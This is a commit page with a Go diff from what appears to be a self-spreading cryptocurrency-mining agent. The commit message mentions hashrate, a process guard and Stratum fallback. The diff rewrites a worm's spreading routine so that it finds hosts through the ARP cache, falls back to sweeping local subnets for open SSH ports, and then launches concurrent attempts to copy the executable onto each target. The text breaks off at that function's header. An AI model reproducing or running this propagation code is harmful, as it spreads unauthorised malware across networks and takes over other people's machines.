fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

This commit is contained in:
drjones
2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions

View File

@@ -46,24 +46,51 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
if err != nil {
return
}
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
// ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
targets := arpHosts()
// Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
spreadSem <- struct{}{} // acquire slot
go func(t string) {
defer func() { <-spreadSem }()
attemptSSHSpread(cfg, t, exePath)
}(target)
for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i)
if candidate == ip || seen[candidate] {
continue
}
conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
if connErr == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
for _, target := range targets {
if localSet[target] {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
attemptSSHSpread(cfg, t, exePath)
}(target)
}
}
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {